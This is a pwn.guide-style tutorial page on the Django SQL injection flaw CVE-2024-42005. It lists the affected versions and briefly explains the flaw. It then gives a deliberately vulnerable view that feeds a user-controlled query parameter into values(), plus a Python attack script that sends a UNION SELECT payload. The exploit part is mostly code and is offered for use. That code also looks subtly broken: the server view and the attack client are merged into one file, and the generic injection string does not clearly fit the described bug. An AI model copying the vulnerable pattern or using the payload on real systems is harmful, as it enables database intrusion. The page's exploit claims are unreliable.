Django SQL Injection Vulnerability PoC
Learn about the CVE-2024-42005 vulnerability with an exploit.
CVE-2024-42005 is a critical SQL injection vulnerability affecting Django versions before 5.0.8 and 4.2.15. The vulnerability occurs when using the QuerySet.values()
and values_list()
methods on models with a JSONField
. Due to insufficient input validation, attackers can inject malicious SQL code through a specially crafted JSON object key.
Affected Versions
The following versions of Django are vulnerable:
- 5.0 before 5.0.8
- 4.2 before 4.2.15
How the Vulnerability Works
This vulnerability exploits how Django handles JSON keys within values()
and values_list()
methods. These methods allow users to specify which fields of a model they want to retrieve, but when a JSONField is used, a crafted JSON key can bypass the usual input sanitization. This can lead to arbitrary SQL code execution, allowing attackers to potentially access, modify, or delete sensitive data from the database.
Demo Exploit
Bellow is a PoC for this vulnerability along with the vulnerable code (both made in python).
Vulnerable Demo Code
# models.py
from django.db import models
class MyModel(models.Model):
data = models.JSONField()
def __str__(self):
return str(self.data)
Proof Of Concept Exploit
# (C) 2024 pwn.guide, please leave this line!
# This code is for educational purposes only
from django.shortcuts import render
from django.http import JsonResponse
from .models import MyModel
def vulnerable_view(request):
# Assume the attacker can control the 'key' parameter in the URL query string.
key = request.GET.get('key', 'default_key')
# The vulnerable query using values() method with JSONField
results = MyModel.objects.values(key)
# Return the results as JSON
return JsonResponse(list(results), safe=False)
# Running the attack
if __name__ == "__main__":
import requests
# Malicious key exploiting the vulnerability
payload = "' UNION SELECT 'attacker_controlled_data' --"
# Triggering the attack
response = requests.get(f"http://localhost:8000/vulnerable_view/?key={payload}")
# Print out the results to see the injection impact
print(response.text)
For more details on the vulnerability and patches, you can refer to the GitHub Advisory and Django's security release notes.
Try it in pwn.VM!
Try the tutorial in our new online Linux VM provider with a free 1 hour session limit for non subscribers!